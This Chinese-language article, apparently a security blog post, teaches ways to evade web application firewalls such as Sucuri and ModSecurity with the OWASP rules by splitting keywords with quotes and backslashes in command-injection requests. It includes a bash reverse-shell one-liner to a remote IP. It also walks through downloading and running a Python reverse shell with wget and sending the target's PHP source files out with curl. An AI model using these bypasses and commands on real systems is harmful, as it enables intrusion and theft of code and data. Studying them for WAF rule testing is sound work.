當前位置:
首頁 > 最新 > 如何繞過Web應用程序防火牆?

如何繞過Web應用程序防火牆?

大家好,我是小編

我聽說北京廣州已經空了

還在公司是什麼感覺

在回家的路上是什麼感覺

到家了是什麼感覺

請在後台與我分享

安慰一下離家旅行的小編

前言

在前一篇文章中,我們已經知道了如何使用?等通配符繞過 WAF。其實還有很多可以繞過 WAF 的方法,每種攻擊都有其特定的繞過技巧。

字元串連接

某些特定的情況下,要對有 WAF 防護的Web 應用程序進行攻擊,字元串連接會是一個優先的選擇。

編程語言經常把+重載表示為字元串參數拼接:"Hello, " + "World"和"Hello, World"等價。在 Perl 和 PHP 中用.來連接字元串,在 Lua 中使用..來連接:

在C,C ++,Python以及可以在 Bash 中找到的腳本語言或語法中,有一個名詞叫做string literal concatenation

即相鄰的字元串連接在一起,沒有任何操作符:"Hello, " "World"和"Hello, World"等價。這不僅適用於 printf 和 echo 命令,而且適用於整個 bash 語法。

使用 Bash 和 Python 連接字元串測試,下面的每個命令都具有相同的結果:

使用Bash和Python連接字元串測試

發生這種情況是因為所有相鄰的字元串文字在 Bash 中連接在一起,實際上"te"s"t"是由三個字元串組成:字元串te,字元串s和字元串t。

此語法可用於繞過基於關鍵詞匹配的 WAF。

ModSecurity中這條規則SecRule ARGS "@pm passwd shadow groups"將阻止包含passwd或shadow的所有請求,如果我們將它們轉換成pa"ss"wd或sh"ad"ow,結果又會怎麼樣呢?

就像我們之前見過的 SQLi 語法一樣,使用注釋來分割查詢,在這裡我們也可以使用單引號"來分割文件名和系統命令,並創建一組串聯的字元串。

當然,你可以使用字元串連接命令,還可以連接路徑。

下面幾個命令代表同樣的意思:

使用字元串鏈接cat命令和cat可執行文件的路徑

現在,讓我們假設已經發現了一個 url 參數存在遠程命令執行的漏洞。如果有一個 WAF 阻止 Password 和 shadow,你可以這樣繞過:

這裡使用的 PHP 代碼是:

繞過Sucuri WAF

首先,使用沒有編碼的參數來獲取google.com的返回:

現在能正常獲取google.com的返回:

現在,為了利用這個漏洞,我們使用分號分隔語法, 並嘗試執行其他系統命令,當我嘗試讀取 /etc/passwd 文件時,Sucuri WAF會阻止,例如:

Sucuri WAF阻止的原因是: 發現了嘗試RFI / LFI請求。

Sucuri 「RFI / LFI嘗試」規則使用類似於「匹配短語」的操作方式,使用如etc/passwd這樣的常見的路徑和文件名。

這個 WAF 有一個非常簡單的規則集,可以用兩個單引號繞過這條規則!

Sucuri WAF使用兩個單引號繞過

現在已經能夠讀取文件了,那下一步能 getshell 嗎?答案是:可以!

唯一的問題是,我們不能使用 netcat,因為目標系統中沒有安裝 netcat。

為了避免使用被 WAF 屏蔽的字元,可以使用下面的bash命令:bash -i >& /dev/tcp/1.1.1.1/1337 0>&1,但是命令太複雜,無法繞過所有的防護規則,並且也不能使用一些 PHP, Perl 或 Python 語言的特性。

Sucuri WAF由於檢測到混淆的攻擊負載阻止了我們的操作。

我們可以試著用curl或者wget來上傳一個 Python 的反彈 shell 到一個可寫的目錄,而不是試圖通過這個參數直接執行獲取 shell 的命令 。

首先,準備 python 代碼:vi shell.py

生成一個可以從目標訪問的web服務,像往常一樣使用python -c SimpleHTTPServer或php -S命令,然後從目標網站下載 shell.py 文件,使用以下語法:

shell使用curl上傳

python反向shell繞過Sucuri WAF

Sucuri WAF沒有阻止這個請求,但通常 ModSecurity 會阻止這種低級操作,如果你想確保繞過所有的「匹配短語」規則類型,可以同時使用wget、ip-to-long 、字元串連接

第一個命令wget用來下載shell文件/tmp/。第二個chmod使其可執行,第三個負責執行。

正如我們所看到的,因為wget命令請求特定的文件,所以通過wget下載的文件被命名為 index.html。

你可以使用nc提供訪問:

GIF

使用netcat來應答來自RCE的HTTP請求

繞過ModSecurity和OWASP核心規則集

由於 normalizePath 和 cmdLine 的存在,無法繞過 OWASP 核心規則集。

在 ModSecurity 中,它們被稱為「轉換函數」,用於在匹配數據之前,對數據進行修改操作。原始輸入數據不會被修改,ModSecurity 將創建數據的副本,對其進行轉換,然後根據結果進行匹配。

normalizePath:從輸入字元串中刪除多個斜杠,目錄自引用和目錄反引用(輸入開始時除外)。

cmdLine:這個轉換函數通過規範化參數值並觸發所有規則,如 LFI,RCE,Unix命令等,避免使用轉義序列。例如/e"t"c/pa"ss"wd,規範化為/etc/passwd,規則如下:

刪除所有反斜杠

刪除所有雙引號"

刪除所有的單引號"

刪除所有的插文^

刪除斜杠前的空格/

刪除一個空括弧之前的空格(

將所有逗號和分號替換為空格

將多個空格(包括製表符,換行符等)替換為一個空格

將所有字元轉換為小寫

嘗試使用前面的字元串連接的操作進行遠程命令執行時,都會被規則「932160(圖示)」攔截:

這裡不能讀取 /etc/passwd,因為OWASP 核心規則集會對公用文件、路徑和命令進行攔截,但不會攔截對目標應用程序源代碼的讀取。

雖然不能使用分號(不能破壞curl語法),但可以使用curl提取文件,並發送到我們的遠程伺服器。

curl使用-d參數,可以將文件發送到遠程伺服器:

請求時,編碼@為%40:

從目標應用程序將PHP文件發送到遠程伺服器

如果目標的防護級別設置為PL4,那麼上面的方法將不起作用。

反斜杠作為新的單引號

同樣的技術也可以使用反斜杠字元。這不是一個連接字元,而是一個轉義符號:

乾貨豐富

請慢慢消化

有疑問歡迎後台給小編留言哦

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 漏洞銀行 的精彩文章:

互聯網版淘金熱:加密貨幣詐騙

TAG:漏洞銀行 |